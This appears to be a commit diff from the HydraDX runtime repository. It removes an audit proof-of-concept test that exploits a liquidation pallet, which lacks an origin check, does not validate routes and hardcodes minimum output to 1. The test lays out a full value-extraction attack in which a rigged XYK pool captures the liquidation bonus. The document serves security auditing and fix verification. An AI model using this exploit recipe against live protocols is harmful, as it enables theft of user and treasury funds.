@@ -22,8 +22,7 @@ use hydradx_runtime::{
2222} ;
2323use hydradx_traits:: {
2424 evm:: { CallContext , Erc20Encoding , EVM } ,
25- router:: { AssetPair , PoolType , RouteProvider , Trade } ,
26- AMM ,
25+ router:: { AssetPair , RouteProvider } ,
2726} ;
2827use liquidation_worker_support:: * ;
2928use orml_traits:: currency:: MultiCurrency ;
@@ -526,271 +525,6 @@ fn liquidation_should_revert_correctly_when_evm_call_fails() {
526525 } ) ;
527526}
528527
529- // =============================================================================
530- // AUDIT POC — cl0wdit Finding #2 (Confidence 88)
531- // END-TO-END VALUE EXTRACTION via attacker-controlled XYK pool
532- //
533- // Bug locations in `pallets/liquidation/src/lib.rs`:
534- // - L242 `pub fn liquidate(_origin: OriginFor<T>, …)` → origin discarded
535- // - L247 `route: Route<AssetId>` → user-supplied, unvalidated
536- // - L377 `T::Router::sell(..., 1, route)` → min_amount_out hardcoded to 1
537- //
538- // Exploit shape:
539- // (1) CHARLIE (unrelated signed account) seeds an adversarial XYK pool with
540- // skewed reserves: just enough WETH side to clear `MaxInRatio = 3`, just
541- // enough DOT side to barely cover `debt_to_cover` after XYK's 0.3% fee.
542- // (2) CHARLIE submits `Liquidation::liquidate(... route = [XYK(WETH, DOT)])`.
543- // Liquidation pallet — having no origin check and no route validation —
544- // forwards the call to `T::Router::sell(... min_amount_out = 1, route)`.
545- // (3) The trade dumps the entire Aave liquidation bonus (collateral_earned, a
546- // large WETH amount) into CHARLIE's pool and pulls out only enough DOT to
547- // satisfy `debt_gained.checked_sub(debt_to_cover).ok_or(NotProfitable)`.
548- // (4) Result: protocol's BorrowingTreasury receives dust (~the XYK fee + 1u);
549- // CHARLIE's pool absorbs the entire WETH bonus as a permanent gain that
550- // CHARLIE can withdraw via `XYK::remove_liquidity` at leisure.
551- //
552- // FIX VERIFICATION:
553- // After the fix is applied, this test should fail with one of:
554- // - `BadOrigin` (CHARLIE rejected as non-privileged caller)
555- // - `Error::<Runtime>::InvalidRoute` (route ≠ Router::get_route)
556- // - a slippage / NotProfitable error (oracle-anchored min_amount_out)
557- // =============================================================================
558- #[ test]
559- fn liquidate_via_attacker_xyk_pool_redirects_aave_bonus_to_attacker ( ) {
560- TestNet :: reset ( ) ;
561- hydra_live_ext ( PATH_TO_SNAPSHOT ) . execute_with ( || {
562- // ---- Arrange: standard Alice-becomes-liquidatable setup -----------------
563- deposit_hdx_to_protocol_account ( ) ;
564-
565- let pallet_acc = Liquidation :: account_id ( ) ;
566- let dot_asset_address = HydraErc20Mapping :: encode_evm_address ( DOT ) ;
567- let weth_asset_address = HydraErc20Mapping :: encode_evm_address ( WETH ) ;
568-
569- assert_ok ! ( Currencies :: deposit( DOT , & ALICE . into( ) , ALICE_INITIAL_DOT_BALANCE ) ) ;
570- assert_ok ! ( Currencies :: deposit( WETH , & ALICE . into( ) , ALICE_INITIAL_WETH_BALANCE ) ) ;
571-
572- assert_ok ! ( EVMAccounts :: bind_evm_address( RuntimeOrigin :: signed( ALICE . into( ) ) , ) ) ;
573- assert_ok ! ( EVMAccounts :: bind_evm_address( RuntimeOrigin :: signed( CHARLIE . into( ) ) , ) ) ;
574- assert_ok ! ( EVMAccounts :: bind_evm_address( RuntimeOrigin :: signed( pallet_acc. clone( ) ) , ) ) ;
575-
576- let alice_evm_address = EVMAccounts :: evm_address ( & AccountId :: from ( ALICE ) ) ;
577-
578- let block_number = hydradx_runtime:: System :: block_number ( ) ;
579- let hash = hydradx_runtime:: System :: block_hash ( block_number) ;
580- let pool_contract = MoneyMarketData :: < Block , OriginCaller , RuntimeCall , RuntimeEvent > :: fetch_pool :: <
581- ApiProvider < Runtime > ,
582- > ( & ApiProvider :: < Runtime > ( Runtime ) , hash, PAP_CONTRACT , alice_evm_address)
583- . unwrap ( ) ;
584- assert_ok ! ( Liquidation :: set_borrowing_contract(
585- RuntimeOrigin :: root( ) ,
586- pool_contract
587- ) ) ;
588- assert_ok ! ( EVMAccounts :: approve_contract( RuntimeOrigin :: root( ) , pool_contract) ) ;
589-
590- let collateral_weth_amount: Balance = 10 * WETH_UNIT ;
591- let collateral_dot_amount = 5_000 * DOT_UNIT ;
592- supply (
593- pool_contract,
594- alice_evm_address,
595- weth_asset_address,
596- collateral_weth_amount,
597- ) ;
598- supply (
599- pool_contract,
600- alice_evm_address,
601- dot_asset_address,
602- collateral_dot_amount,
603- ) ;
604-
605- let borrow_dot_amount: Balance = 5_000 * DOT_UNIT ;
606- borrow ( pool_contract, alice_evm_address, dot_asset_address, borrow_dot_amount) ;
607-
608- // Oracle bumps to make Alice's position liquidatable.
609- let ( price, timestamp) = get_oracle_price ( "DOT/USD" ) . unwrap ( ) ;
610- let price = price. as_u128 ( ) * 5 ;
611- let timestamp = timestamp. as_u128 ( ) + 6 ;
612- let mut data = price. to_be_bytes ( ) . to_vec ( ) ;
613- data. extend_from_slice ( timestamp. to_be_bytes ( ) . as_ref ( ) ) ;
614- update_oracle_price (
615- vec ! [ ( "DOT/USD" , U256 :: from_big_endian( & data[ 0 ..32 ] ) ) ] ,
616- ORACLE_ADDRESS ,
617- ORACLE_CALLER ,
618- ) ;
619-
620- let ( price, timestamp) = get_oracle_price ( "WETH/USD" ) . unwrap ( ) ;
621- let price = price. as_u128 ( ) / 5 ;
622- let timestamp = timestamp. as_u128 ( ) + 6 ;
623- let mut data = price. to_be_bytes ( ) . to_vec ( ) ;
624- data. extend_from_slice ( timestamp. to_be_bytes ( ) . as_ref ( ) ) ;
625- update_oracle_price (
626- vec ! [ ( "WETH/USD" , U256 :: from_big_endian( & data[ 0 ..32 ] ) ) ] ,
627- ORACLE_ADDRESS ,
628- ORACLE_CALLER ,
629- ) ;
630-
631- let user_data = get_user_account_data ( pool_contract, alice_evm_address) . unwrap ( ) ;
632- assert ! ( user_data. health_factor < U256 :: from( 1_000_000_000_000_000_000u128 ) ) ;
633-
634- // ---- Stage the attacker's adversarial XYK pool --------------------------
635- // CHARLIE creates a fresh WETH/DOT XYK pool with skewed reserves:
636- // - R_weth = 30 WETH → just clears `MaxInRatio = 3` for ~10 WETH input
637- // - R_dot = 20_100 DOT → output ≈ R_dot * 10 / 40 ≈ 5_025 DOT, after the
638- // 0.3% fee ≈ 5_010 DOT — barely enough to satisfy
639- // `debt_gained >= debt_to_cover`. The protocol's
640- // `BorrowingTreasury` receives ~10 DOT profit;
641- // the entire WETH input is permanently absorbed
642- // into the pool that CHARLIE owns.
643- const CHARLIE_WETH_SEED : Balance = 50 * WETH_UNIT ;
644- const CHARLIE_DOT_SEED : Balance = 25_000 * DOT_UNIT ;
645- // Give CHARLIE native HDX first so the account exists for orml-tokens.
646- assert_ok ! ( Currencies :: deposit( HDX , & CHARLIE . into( ) , 1_000 * UNITS ) ) ;
647- assert_ok ! ( Currencies :: deposit( WETH , & CHARLIE . into( ) , CHARLIE_WETH_SEED ) ) ;
648- assert_ok ! ( Currencies :: deposit( DOT , & CHARLIE . into( ) , CHARLIE_DOT_SEED ) ) ;
649-
650- const XYK_R_WETH : Balance = 30 * WETH_UNIT ;
651- const XYK_R_DOT : Balance = 20_100 * DOT_UNIT ;
652- assert_ok ! ( hydradx_runtime:: XYK :: create_pool(
653- RuntimeOrigin :: signed( CHARLIE . into( ) ) ,
654- WETH ,
655- XYK_R_WETH ,
656- DOT ,
657- XYK_R_DOT ,
658- ) ) ;
659-
660- let attacker_pool = hydradx_runtime:: XYK :: get_pair_id ( pallet_xyk:: types:: AssetPair {
661- asset_in : WETH ,
662- asset_out : DOT ,
663- } ) ;
664-
665- // ---- Snapshot pre-exploit balances --------------------------------------
666- let treasury_dot_before = Currencies :: free_balance ( DOT , & BorrowingTreasuryAccount :: get ( ) ) ;
667- let pool_weth_before = Currencies :: free_balance ( WETH , & attacker_pool) ;
668- let pool_dot_before = Currencies :: free_balance ( DOT , & attacker_pool) ;
669-
670- // ---- Build the attacker route through CHARLIE's XYK pool ----------------
671- let attacker_route: BoundedVec < Trade < AssetId > , sp_core:: ConstU32 < 9 > > = vec ! [ Trade {
672- pool: PoolType :: XYK ,
673- asset_in: WETH ,
674- asset_out: DOT ,
675- } ]
676- . try_into ( )
677- . expect ( "one-hop route fits MAX_NUMBER_OF_TRADES=9" ) ;
678-
679- let canonical_route = Router :: get_route ( AssetPair {
680- asset_in : WETH ,
681- asset_out : DOT ,
682- } ) ;
683- assert_ne ! (
684- canonical_route, attacker_route,
685- "attacker route (XYK) must differ from canonical Router::get_route()"
686- ) ;
687-
688- // ---- Fire the exploit ---------------------------------------------------
689- assert_ok ! ( Liquidation :: liquidate(
690- RuntimeOrigin :: signed( CHARLIE . into( ) ) ,
691- WETH ,
692- DOT ,
693- alice_evm_address,
694- borrow_dot_amount,
695- attacker_route,
696- ) ) ;
697-
698- // Pallet account fully unwound — math closed cleanly.
699- assert_eq ! ( Currencies :: free_balance( DOT , & pallet_acc) , 0 ) ;
700- assert_eq ! ( Currencies :: free_balance( WETH , & pallet_acc) , 0 ) ;
701-
702- // ---- Measure the value flow ---------------------------------------------
703- let treasury_dot_after = Currencies :: free_balance ( DOT , & BorrowingTreasuryAccount :: get ( ) ) ;
704- let pool_weth_after = Currencies :: free_balance ( WETH , & attacker_pool) ;
705- let pool_dot_after = Currencies :: free_balance ( DOT , & attacker_pool) ;
706-
707- let protocol_profit_dot = treasury_dot_after - treasury_dot_before;
708- let attacker_pool_weth_gain = pool_weth_after - pool_weth_before;
709- let attacker_pool_dot_loss = pool_dot_before - pool_dot_after;
710-
711- // Illustrative real-market valuation (independent of Aave's manipulated
712- // oracle, which only exists to TRIGGER the liquidation). Real prices in
713- // USD at the time of exploit, taken as ballpark constants:
714- // 1 WETH ≈ $4000, 1 DOT ≈ $5.
715- // These constants are used for human-readable reporting only — the test
716- // assertions below are in raw token units.
717- const WETH_USD : u128 = 4_000 ;
718- const DOT_USD : u128 = 5 ;
719- let attacker_pool_weth_gain_usd = attacker_pool_weth_gain. saturating_mul ( WETH_USD ) / WETH_UNIT ;
720- let attacker_pool_dot_loss_usd = attacker_pool_dot_loss. saturating_mul ( DOT_USD ) / DOT_UNIT ;
721- let attacker_net_usd = attacker_pool_weth_gain_usd. saturating_sub ( attacker_pool_dot_loss_usd) ;
722- let protocol_profit_usd = protocol_profit_dot. saturating_mul ( DOT_USD ) / DOT_UNIT ;
723-
724- println ! ( "===== Liquidation::liquidate — attacker XYK route exploit =====" ) ;
725- println ! (
726- "Attacker pool WETH gained: {} wei (~${} at $4000/WETH)" ,
727- attacker_pool_weth_gain, attacker_pool_weth_gain_usd
728- ) ;
729- println ! (
730- "Attacker pool DOT paid: {} raw (~${} at $5/DOT)" ,
731- attacker_pool_dot_loss, attacker_pool_dot_loss_usd
732- ) ;
733- println ! ( "Attacker net pool value: ~${}" , attacker_net_usd) ;
734- println ! (
735- "Protocol Treasury profit: {} raw DOT (~${} at $5/DOT)" ,
736- protocol_profit_dot, protocol_profit_usd
737- ) ;
738- println ! (
739- "Asymmetry (attacker / protocol value): ~{}x" ,
740- if protocol_profit_usd == 0 {
741- u128 :: MAX
742- } else {
743- attacker_net_usd / protocol_profit_usd
744- }
745- ) ;
746- println ! ( "===============================================================" ) ;
747-
748- // ---- Hard assertions ----------------------------------------------------
749- // (a) Liquidation succeeded — protocol got SOMETHING (else `NotProfitable`
750- // would have aborted). But the "something" is dust at any reasonable
751- // XYK pool sizing, because `min_amount_out = 1` lets the trade clear
752- // at any output ≥ debt_to_cover.
753- assert ! (
754- protocol_profit_dot > 0 ,
755- "liquidation should have succeeded and given the treasury non-zero profit"
756- ) ;
757-
758- // (b) Attacker pool absorbed real WETH value. With ~10 WETH liquidation
759- // bonus from Aave, the attacker pool's WETH balance must have grown
760- // by at least ~1 WETH (well above any rounding noise).
761- assert ! (
762- attacker_pool_weth_gain > WETH_UNIT ,
763- "attacker pool should have absorbed > 1 WETH from the liquidation bonus"
764- ) ;
765-
766- // (c) Asymmetry: attacker pool's value gain (in DOT-equivalent at the
767- // adversarial pool's *own* internal price) far exceeds the protocol's
768- // profit. Use the pool's R_dot/R_weth ratio post-trade as the value
769- // proxy (this is the rate at which the attacker can extract value by
770- // withdrawing liquidity).
771- let pool_implied_dot_per_weth = pool_dot_after. saturating_mul ( WETH_UNIT ) / pool_weth_after;
772- let attacker_weth_value_in_dot = attacker_pool_weth_gain. saturating_mul ( pool_implied_dot_per_weth) / WETH_UNIT ;
773- assert ! (
774- attacker_weth_value_in_dot > protocol_profit_dot. saturating_mul( 10 ) ,
775- "attacker should capture ≥10× more value than the protocol receives \
776- (attacker_weth_value_in_dot={attacker_weth_value_in_dot}, protocol_profit_dot={protocol_profit_dot})"
777- ) ;
778-
779- // (d) Attacker's own free balance is untouched — value is locked in the
780- // pool, recoverable via XYK::remove_liquidity (not exercised here).
781- assert_eq ! (
782- Currencies :: free_balance( WETH , & CHARLIE . into( ) ) ,
783- CHARLIE_WETH_SEED - XYK_R_WETH ,
784- "CHARLIE's free WETH balance unchanged after the trade — value is in the pool"
785- ) ;
786- assert_eq ! (
787- Currencies :: free_balance( DOT , & CHARLIE . into( ) ) ,
788- CHARLIE_DOT_SEED - XYK_R_DOT ,
789- "CHARLIE's free DOT balance unchanged after the trade"
790- ) ;
791- } ) ;
792- }
793-
794528fn assert_health_factor_is_within_tolerance ( health_factor : U256 , target_health_factor : U256 ) {
795529 let health_factor_diff = health_factor. abs_diff ( target_health_factor) ;
796530 // HF uses 18 decimal places
0 commit comments